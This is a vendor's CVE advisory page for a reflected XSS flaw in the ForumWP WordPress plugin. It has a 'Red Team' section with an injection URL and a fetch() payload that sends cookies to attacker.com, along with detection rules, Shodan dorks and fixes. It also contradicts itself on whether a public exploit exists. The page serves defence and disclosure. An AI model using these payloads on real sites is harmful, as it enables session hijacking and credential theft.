☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10879

CVE-2024-10879 Cross-Site Scripting in Forumwp
📅 PUBLISHED: 2024-12-06 08:24 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.68%
👁️
1.68% probability
42.1× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10879 is a reflected Cross-Site Scripting (XSS) vulnerability affecting the ForumWP – Forum & Discussion Board plugin for WordPress in all versions up to and including 2.1.2. The flaw arises from the insecure use of add_query_arg and remove_query_arg functions without proper output escaping on URL parameters. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or user, executes arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, defacement, or credential theft. The vulnerability is classified as medium severity (CVSS 6.1) and currently has no known public exploit or patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the ForumWP plugin within the WordPress ecosystem. It does not affect the core WordPress software or server-level components like Apache or Nginx. The attack vector relies on social engineering to trick a user into clicking a crafted URL.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated attacker.
  • User Interaction (UI): Required (R) – Victim must click a link.
  • Scope (S): Changed (C) – Impact extends beyond vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the widespread use of WordPress plugins make this a significant concern for site administrators.

Deep Dive & Mechanics

The vulnerability resides in how ForumWP constructs URLs using add_query_arg and remove_query_arg functions. These functions are used to build or modify query strings for pagination, sorting, or other navigation features. When user-supplied input (e.g., from $_GET or $_SERVER['REQUEST_URI']) is passed to these functions without proper escaping, an attacker can inject malicious JavaScript code.

Example vulnerable code pattern:

$url = add_query_arg( 'page', $_GET['page'], $base_url );
echo '<a href="' . $url . '">Link</a>';

If $_GET['page'] contains "><script>alert(1)</script>, the resulting HTML becomes:

<a href="?page="><script>alert(1)</script>">Link</a>

When the victim clicks the link, the script executes.

The remove_query_arg function similarly fails to sanitize output, allowing injection via the removal of query parameters.

Vulnerable vs. Patched Code

Vulnerable Code (ForumWP <= 2.1.2):

// Example from forumwp/includes/class-forumwp-rewrite.php
$pagination_url = add_query_arg( 'paged', $paged, $base_url );
echo '<a href="' . $pagination_url . '">Next</a>';

Patched Code (Hypothetical fix):

// Properly escape the URL before output
$pagination_url = add_query_arg( 'paged', $paged, $base_url );
echo '<a href="' . esc_url( $pagination_url ) . '">Next</a>';

The esc_url() function in WordPress encodes special characters, preventing XSS. Alternatively, using wp_kses() or htmlspecialchars() on the entire URL would also mitigate the issue.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Craft the malicious URL:
    http://target-site.com/forum/?page="><script>alert(document.cookie)</script>
    
  2. Deliver via phishing email or social media: Convince an admin to click the link.
  3. Payload execution: The injected script runs in the admin’s browser, potentially stealing session cookies or performing actions on their behalf.

Example payload for session hijacking:

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defense & Detection)

  • Monitor for unusual URL parameters: Look for page, paged, or other query strings containing <script> or onerror= patterns.
  • Implement Content Security Policy (CSP): Restrict script execution to trusted sources.
  • Use Web Application Firewall (WAF): Block requests with obvious XSS payloads in query strings.
  • Educate users: Train administrators to avoid clicking suspicious links.

Indicators of Compromise (IOCs)

  • URL patterns: Requests containing ?page= or ?paged= with <script> tags or event handlers.
  • Log entries: HTTP 200 responses to URLs with XSS payloads in query parameters.
  • Browser behavior: Unexpected pop-ups or redirects when clicking forum links.
  • Network traffic: Outbound connections to attacker-controlled domains from admin browsers.

Detection Engineering

YARA Rule

rule CVE_2024_10879_ForumWP_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting ForumWP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10879"
    strings:
        $payload1 = /[?&](page|paged)=[^&]*<script/i
        $payload2 = /[?&](page|paged)=[^&]*onerror=/i
        $payload3 = /[?&](page|paged)=[^&]*onload=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via ForumWP Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting ForumWP plugin (CVE-2024-10879)
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'page=<script'
            - 'paged=<script'
            - 'page=onerror='
            - 'paged=onerror='
    condition: selection
falsepositives:
    - Legitimate use of script parameters in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10879 ForumWP Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/forum/"; http_uri; pcre:"/[?&](page|paged)=[^&]*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the ForumWP plugin until a patch is released.
  2. Workaround: Implement a WAF rule to block requests containing <script> in page or paged parameters.
  3. Long-term Fix: Apply output escaping using esc_url() or htmlspecialchars() on all URLs generated by add_query_arg and remove_query_arg.
  4. Monitor: Subscribe to the plugin’s update channel for a patched version.
  5. User Training: Educate administrators about phishing risks and the importance of verifying URLs before clicking.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ForumWP"
http.html:"wp-content/plugins/forumwp"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10879/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.